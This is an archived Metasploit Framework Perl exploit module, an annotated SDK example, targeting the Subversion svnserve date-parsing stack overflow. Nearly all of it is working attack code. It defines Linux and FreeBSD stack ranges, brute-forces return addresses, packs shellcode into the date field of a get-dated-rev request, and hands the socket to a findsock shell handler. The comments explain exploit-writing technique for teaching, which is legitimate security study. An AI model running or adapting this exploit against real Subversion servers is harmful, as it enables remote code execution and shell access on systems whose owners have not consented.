home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / sdk / docs / svnserve_date.pm < prev    next >
Text File  |  2006-06-30  |  8KB  |  226 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. # Extra Annotated Version
  11.  
  12. package Msf::Exploit::svnserve_date;
  13. use strict;
  14. use base 'Msf::Exploit';
  15. use Pex::Text;
  16.  
  17. my $advanced = {
  18.   # Where to start brute forcing, different between linux/bsd
  19.   'StackTop'     => ['', 'Start address for stack ret bruteforcing, empty for defaults from target'],
  20.  
  21.   # Where to stop brute forcing
  22.   'StackBottom'  => ['', 'End address for stack ret bruteforcing, empty for defaults from target'],
  23.  
  24.   # The increment used during brute forcing, autocalculation is important!
  25.   'StackStep'    => [0, 'Step size for ret bruteforcing, 0 for auto calculation.'],
  26.  
  27.   # How long to wait inbetween brute force attempts, good to give things a
  28.   # chance to clean up, and also give the handlers a chance to process a
  29.   # possible connection.
  30.   'BruteWait'    => [.4, 'Length in seconds to wait between brute force attempts'],
  31.  
  32.   # An exploit vector value, probably not going to be changed by normal users
  33.   # This was like 62 on my machine and 88 on HD's
  34.   'RetLength'    => [100, 'Length of rets after payload'],
  35.  
  36.   # Depending on some setups of svnserve, we may get an error (like segfault
  37.   # return message) and stop processing, ignore this.
  38.   'IgnoreErrors' => [0, 'Keep going even after critical errors.'],
  39. };
  40.  
  41. my $info = {
  42.   'Name'    => 'Subversion Date Svnserve',
  43.   'Version'  => '$Revision: 1.1 $',
  44.   'Authors' => [ 'spoonm <ninjatools [at] hush.com>', ],
  45.   'Arch'    => [ 'x86' ],
  46.   
  47.   # We support both linux and bsd, allowing a user to pick linux or bsd
  48.   # payloads.  An important thing to realize is in this exploit we don't
  49.   # check to make sure they didn't pick a linux target and bsd payload, we
  50.   # trust the user made the correct decision.  If you wanted to enforce it
  51.   # you coulde override the OS method and return based on the current selected
  52.   # target from the environment.
  53.   'OS'      => [ 'linux', 'bsd' ],
  54.  
  55.   # Unfortunately svnserve usually doesn't run as root.
  56.   'Priv'    => 0,
  57.  
  58.   # Setup our options.  Use type 'DATA' for values you don't want the Framework
  59.   # to validate (it will make sure it's defined if required) or mangle.
  60.   'UserOpts'  =>
  61.     {
  62.       'RHOST' => [1, 'ADDR', 'The target address'],
  63.       'RPORT' => [1, 'PORT', 'The svnserve port', 3690],
  64.       'URL'   => [1, 'DATA', 'SVN URL (ie svn://host/repos)', 'svn://host/svn/repos'],
  65.     },
  66.  
  67.   # Setup our payload details, listing our bad characters (its a sscanf bug)
  68.   # and informing the framework that we support findsock.
  69.   'Payload' =>
  70.     {
  71.       'Space'     => 500,
  72.       'BadChars'  => "\x00\x09\x0a\x0b\x0c\x0d\x20",
  73.       'MinNops'   => 16, # This keeps brute forcing sane
  74.       'Keys'      => ['+findsock'],
  75.     },
  76.  
  77.   # This will otherwise be defaulted to esp and ebp.  We don't really ever
  78.   # need a sane ebp in linux/bsd land, so just save esp. (So we have a sane
  79.   # stack).
  80.   'Nop' =>
  81.     {
  82.       'SaveRegs' => ['esp'],
  83.     },
  84.   'Description'  => Pex::Text::Freeform(qq{
  85.       This is an exploit for the Subversion date parsing overflow.  This
  86.       exploit is for the svnserve daemon (svn:// protocol) and will not work
  87.       for Subversion over webdav (http[s]://).  This exploit should never
  88.       crash the daemon, and should be safe to do multi-hits.
  89.  
  90.       **WARNING** This exploit seems to (not very often, I've only seen
  91.       it during testing) corrupt the subversion database, so be careful!
  92.     }),
  93.   'Refs'  =>
  94.     [
  95.       'http://osvdb.org/6301',
  96.       'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html',
  97.     ],
  98.  
  99.   # Since we support more than one target, and want to make sure the user
  100.   # is aware and specifically selects one, we default the target to -1
  101.   # which forces the user to make a selection.
  102.   'DefaultTarget' => -1,
  103.   'Targets' =>
  104.     [
  105.       ['Linux Bruteforce', '0xbffffe13', '0xbfff0000'],
  106.       ['FreeBSD Bruteforce', '0xbfbffe13', '0xbfbf0000'],
  107.     ],
  108. };
  109.  
  110.  
  111. # Typical new method, nothing fancy, give Info/Advanced to Framework
  112. sub new {
  113.   my $class = shift;
  114.   my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  115.  
  116.   return($self);
  117. }
  118.  
  119. sub Exploit {
  120.   my $self = shift;
  121.  
  122.  
  123.   # Pull our UserOpts out of the environment, along with the
  124.   # the targets and the EncodedPayload object used to retrieve the user
  125.   # specified shellcode.
  126.   my $targetHost  = $self->GetVar('RHOST');
  127.   my $targetPort  = $self->GetVar('RPORT');
  128.   my $targetIndex = $self->GetVar('TARGET');
  129.   my $encodedPayload = $self->GetVar('EncodedPayload');
  130.   my $shellcode   = $encodedPayload->Payload;
  131.   my $target = $self->Targets->[$targetIndex];
  132.  
  133.  
  134.   my $retLength   = $self->GetLocal('RetLength');
  135.   my $bruteWait   = $self->GetLocal('BruteWait');
  136.   my $stackTop    = $self->GetLocal('StackTop');
  137.   my $stackBottom = $self->GetLocal('StackBottom');
  138.   my $stackStep   = $self->GetLocal('StackStep');
  139.  
  140.   # Get our UserOpts URL, and also get CPORT for supporting srcport style
  141.   # findsock payloads.
  142.   my $url         = $self->GetVar('URL');
  143.   my $srcPort     = $self->GetVar('CPORT');
  144.   
  145.   $stackTop    = $target->[1] if(!length($stackTop));
  146.   $stackBottom = $target->[2] if(!length($stackBottom));
  147.   $stackTop    = hex($stackTop);
  148.   $stackBottom = hex($stackBottom);
  149.  
  150.  
  151.   # This is important, we default the stack stepping size to the length of
  152.   # the nopsled, making brute forcing as efficent as possible.
  153.   $stackStep = $encodedPayload->NopsLength if($stackStep == 0);
  154.   $stackStep -= $stackStep % 4; # ya ya, whatever
  155.  
  156.   # Confusing forloop of doom!  Loop through through StackTop and StackBottom
  157.   # calling StepAddress to step the return address and also avoid any bad
  158.   # characters the return address might contain.
  159.   for(my $ret = $stackTop; $ret >= $stackBottom; $ret = $self->StepAddress('Address' => $ret, 'StepSize' => $stackStep)) {
  160.  
  161.     # Make our socket connection.  Notice the srcport support for findsock!
  162.     my $sock = Msf::Socket::Tcp->new('PeerAddr' => $targetHost, 'PeerPort' => $targetPort, 'LocalPort' => $srcPort);
  163.     if($sock->IsError) {
  164.       $self->PrintLine('Error creating socket: ' . $sock->GetError);
  165.       return;
  166.     }
  167.  
  168.     # Call PrintLine to print a line to the user telling them what return
  169.     # address we are currently trying.
  170.     $self->PrintLine(sprintf("Trying %#08x", $ret));
  171.     my $evil = (pack('V', $ret) x int($retLength / 4)) . $shellcode;
  172. #    my $evil = 'A' x 300;
  173.  
  174.  
  175.     my @data =  (
  176.       '( 2 ( edit-pipeline ) ' . lengther($url) . ' ) ',
  177.       '( ANONYMOUS ( 0: ) ) ',
  178.       '( get-dated-rev ( ' .
  179.     #  lengther('Tue' . 'A' x $ARGV[0] . ' 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off -18000)') . ' ) ) '.
  180.       lengther($evil . ' 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)') . ' ) ) ',
  181.      '',
  182.     );
  183.  
  184.     my $i = 0;
  185.     foreach my $data (@data) {
  186.       my $dump = $sock->Recv(-1);
  187.  
  188.       # PrintDebugLine prints a line only if the DebugLevel is equal to or
  189.       # greater than the first option.  This will print verbose info if your
  190.       # DebugLevel is set to 3 or more.
  191.       $self->PrintDebugLine(3, "dump\n$dump");
  192.       if(!$sock->Send($data) && $i < 3) {
  193.         $self->PrintLine('Error in send.');
  194.         $sock->PrintError;
  195.         $self->PrintLine('This is bad.');
  196.         $self->PrintLine("$dump\n");
  197.         return if(!$self->GetLocal('IgnoreErrors'));
  198.       }
  199.       if($i == 3 && length($dump)) {
  200.         $self->PrintLine("Received data when we should't have, bailing.");
  201.         $self->PrintLine($dump);
  202.         return if(!$self->GetLocal('IgnoreErrors'));
  203.       }
  204.       $i++;
  205.     }
  206.  
  207.     select(undef, undef, undef, $bruteWait); # ghetto sleep
  208.  
  209.     # We support findsock, must call Handler to check if there is a waiting
  210.     # shell on the line.  If Handler succeeds in finding a shell, it will
  211.     # never return.
  212.     $self->Handler($sock);
  213.  
  214.     $sock->Close;
  215.     select(undef, undef, undef, 1) if($srcPort); # ghetto sleep, wait for CPORT
  216.   }
  217.   return;
  218. }
  219.  
  220. sub lengther {
  221.   my $data = shift;
  222.   return(length($data) . ':' . $data);
  223. }
  224.  
  225. 1;
  226.